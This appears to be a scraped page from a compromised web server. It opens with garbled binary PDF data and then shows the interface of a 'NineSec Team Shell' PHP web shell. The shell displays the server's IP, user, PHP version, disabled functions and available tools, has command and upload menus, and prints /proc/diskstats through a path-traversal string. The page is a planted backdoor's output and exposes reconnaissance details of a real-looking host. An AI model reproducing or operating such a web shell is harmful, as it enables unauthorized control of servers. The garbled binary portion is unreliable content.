%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /srv/../boot/../boot/../proc/../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //srv/../boot/../boot/../proc/../proc/diskstats
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      80 sdf 634 0 58280 321 0 0 0 0 0 80 321 0 0 0 0 0 0
   8      81 sdf1 102 0 9824 54 0 0 0 0 0 42 54 0 0 0 0 0 0
   8      82 sdf2 99 0 9824 53 0 0 0 0 0 39 53 0 0 0 0 0 0
   8      83 sdf3 99 0 9824 64 0 0 0 0 0 39 64 0 0 0 0 0 0
   8      84 sdf4 99 0 9824 55 0 0 0 0 0 41 55 0 0 0 0 0 0
   8      85 sdf5 99 0 9824 49 0 0 0 0 0 39 49 0 0 0 0 0 0
   8      64 sde 60518472 25946 6967335892 595344856 328004964 268020044 12268714106 262524285 0 22571996 857869141 0 0 0 0 0 0
   8      65 sde1 52 0 2080 13 0 0 0 0 0 5 13 0 0 0 0 0 0
   8      66 sde2 490 1057 43452 125 286 0 286 23 0 74 148 0 0 0 0 0 0
   8      67 sde3 60517811 24889 6967284440 595344655 328004678 268020044 12268713820 262524261 0 28183397 857868917 0 0 0 0 0 0
   8      96 sdg 634 0 58280 294 0 0 0 0 0 76 294 0 0 0 0 0 0
   8      97 sdg1 102 0 9824 43 0 0 0 0 0 31 43 0 0 0 0 0 0
   8      98 sdg2 99 0 9824 52 0 0 0 0 0 35 52 0 0 0 0 0 0
   8      99 sdg3 99 0 9824 56 0 0 0 0 0 41 56 0 0 0 0 0 0
   8     100 sdg4 99 0 9824 53 0 0 0 0 0 44 53 0 0 0 0 0 0
   8     101 sdg5 99 0 9824 48 0 0 0 0 0 40 48 0 0 0 0 0 0
   8       0 sda 511703184 227021283 54779181976 351804225 4103639076 982038276 67267149152 515378864 0 468694732 1080041445 0 0 0 0 1733315810 212858355
   8      32 sdc 498578827 237096934 56486197384 371334771 4160439815 982462703 68868957680 538033027 0 511924513 1125101543 0 0 0 0 1747465458 215733744
   8      16 sdb 513531715 227839615 55170756128 359145455 4564743369 1040255089 72310461312 573421794 0 524816214 1163381373 0 0 0 0 1921078033 230814123
   8      48 sdd 307885308 143293046 33546989224 197618221 3300596375 711715982 48927150328 366232442 0 361566795 730975240 0 0 0 0 1430818359 167124576
 252       0 dm-0 738724397 0 54779169896 570644332 5085677352 0 67267149152 2180889851 0 590440769 2751534183 0 0 0 0 0 0
 252       1 dm-1 1444 0 18568 136 5971 0 47768 183955 0 8154 184091 0 0 0 0 0 0
 252       2 dm-2 451178284 0 33546977144 338751140 4012312357 0 48927150328 1339578554 0 464221467 1678329694 0 0 0 0 0 0
 252       3 dm-3 741371260 0 55170744048 579794741 5604998458 0 72310461312 2436974325 0 704259237 3016769066 0 0 0 0 0 0
 252       4 dm-4 735675691 0 56486185304 606900664 5142902518 0 68868957680 2319662020 1 729582550 2926562684 0 0 0 0 0 0
 252       5 dm-5 63788 0 5675730 16361 506686449 0 9078696616 72760556 0 15692796 72776917 0 0 0 0 0 0
 252       6 dm-6 12508333 0 6961578096 44943168 37183950 0 3189969436 19750169 0 81881159 64693337 0 0 0 0 0 0
   8     112 sdh 364 0 20884 303 0 0 0 0 0 216 303 0 0 0 0 0 0
   8     113 sdh1 31 0 464 20 0 0 0 0 0 21 20 0 0 0 0 0 0
   8     114 sdh2 68 0 3192 58 0 0 0 0 0 52 58 0 0 0 0 0 0
   8     115 sdh3 92 0 9036 95 0 0 0 0 0 88 95 0 0 0 0 0 0
   8     116 sdh4 36 0 768 26 0 0 0 0 0 28 26 0 0 0 0 0 0
 251       0 rbd0 438076 45650 99768338 279207 17566603 27114656 405624496 43546960 0 57680901 43826168 0 0 0 0 0 0
 251      32 rbd2 158970 5379 5611818 93016 25440898 19221175 511437552 55895905 0 50138427 55988922 0 0 0 0 0 0
 251      64 rbd4 129536 30884 3772498 47763 26801780 46360102 639921672 61652393 0 36509722 61700157 0 0 0 0 0 0
 251      80 rbd5 89093 9616 6551666 45847 60929530 30504044 1553929488 116675732 0 72976509 116721579 0 0 0 0 0 0
 251     128 rbd8 7343 1251 771474 5150 12474337 1086619 127034824 24860634 0 15054218 24885907 150158 11437 1134853032 20122 0 0
 251     144 rbd9 133933 29750 8704842 42988 2809319 550356 121376088 7529335 0 10094256 7621258 64602 7898 443140128 48934 0 0
 251      48 rbd3 29993 8274 1635800 19820 2293486 220050 22290765 5410169 0 4386126 5429989 0 0 0 0 0 0
 251     160 rbd10 134957658 280729 4599998178 75830010 281417472 97980511 6372198275 786147567 0 121897694 862690398 843101 510642 1533840168 712820 0 0
 251     112 rbd7 105465 10087 8855596 63864 2250607 389354 52495744 5687997 0 5762271 5867103 49792 10949 253190856 115241 0 0
 251     176 rbd11 149036 15016 118987892 222400 1958297 40586 32598960 4599937 0 3818019 4825071 14716 1500 109635296 2734 0 0
 251      96 rbd6 12192111 109805 401307650 34634148 89671429 17327693 2602620352 234925329 0 278291373 269559477 0 0 0 0 0 0

NineSec Team - 2022